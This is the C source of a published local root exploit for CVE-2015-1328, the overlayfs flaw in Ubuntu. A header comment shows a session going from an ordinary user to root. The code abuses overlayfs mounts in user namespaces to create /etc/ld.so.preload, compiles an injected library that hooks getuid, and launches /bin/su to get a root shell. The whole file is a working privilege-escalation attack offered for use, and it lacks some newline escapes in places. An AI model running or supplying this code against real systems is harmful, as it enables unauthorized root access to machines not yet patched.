/* # Exploit Title: ofs.c - overlayfs local root in ubuntu # Date: 2015-06-15 # Exploit Author: rebel # Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15) # Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04 # CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html) *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* CVE-2015-1328 / ofs.c overlayfs incorrect permission handling + FS_USERNS_MOUNT user@ubuntu-server-1504:~$ uname -a Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux user@ubuntu-server-1504:~$ gcc ofs.c -o ofs user@ubuntu-server-1504:~$ id uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev) user@ubuntu-server-1504:~$ ./ofs spawning threads mount #1 mount #2 child threads done /etc/ld.so.preload created creating shared library # id uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user) greets to beist & kaliman 2015-05-24 %rebel% *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sched.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/mount.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sched.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/mount.h> #include <sys/types.h> #include <signal.h> #include <fcntl.h> #include <string.h> #include <linux/sched.h> #define LIB "#include <unistd.h>nnuid_t(*_real_getuid) (void);nchar path[128];nnuid_tngetuid(void)n{n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, "getuid");nreadlink("/proc/self/exe", (char *) &path, 128);nif(geteuid() == 0 && !strcmp(path, "/bin/su")) {nunlink("/etc/ld.so.preload");unlink("/tmp/ofs-lib.so");nsetresuid(0, 0, 0);nsetresgid(0, 0, 0);nexecle("/bin/sh", "sh", "-i", NULL, NULL);n}n return _real_getuid();n}n" static char child_stack[1024*1024]; static int child_exec(void *stuff) { char *file; system("rm -rf /tmp/ns_sploit"); mkdir("/tmp/ns_sploit", 0777); mkdir("/tmp/ns_sploit/work", 0777); mkdir("/tmp/ns_sploit/upper",0777); mkdir("/tmp/ns_sploit/o",0777); fprintf(stderr,"mount #1n"); if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) { // workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) { fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kerneln"); exit(-1); } file = ".access"; chmod("/tmp/ns_sploit/work/work",0777); } else file = "ns_last_pid"; chdir("/tmp/ns_sploit/o"); rename(file,"ld.so.preload"); chdir("/"); umount("/tmp/ns_sploit/o"); fprintf(stderr,"mount #2n"); if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) { if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) { exit(-1); } chmod("/tmp/ns_sploit/work/work",0777); } chmod("/tmp/ns_sploit/o/ld.so.preload",0777); umount("/tmp/ns_sploit/o"); } int main(int argc, char **argv) { int status, fd, lib; pid_t wrapper, init; int clone_flags = CLONE_NEWNS | SIGCHLD; fprintf(stderr,"spawning threadsn"); if((wrapper = fork()) == 0) { if(unshare(CLONE_NEWUSER) != 0) fprintf(stderr, "failed to create new user namespacen"); if((init = fork()) == 0) { pid_t pid = clone(child_exec, child_stack + (1024*1024), clone_flags, NULL); if(pid < 0) { fprintf(stderr, "failed to create new mount namespacen"); exit(-1); } waitpid(pid, &status, 0); } waitpid(init, &status, 0); return 0; } usleep(300000); wait(NULL); fprintf(stderr,"child threads donen"); fd = open("/etc/ld.so.preload",O_WRONLY); if(fd == -1) { fprintf(stderr,"exploit failedn"); exit(-1); } fprintf(stderr,"/etc/ld.so.preload createdn"); fprintf(stderr,"creating shared libraryn"); lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777); write(lib,LIB,strlen(LIB)); close(lib); lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w"); if(lib != 0) { fprintf(stderr,"couldn't create dynamic libraryn"); exit(-1); } write(fd,"/tmp/ofs-lib.son",16); close(fd); system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c"); execl("/bin/su","su",NULL); }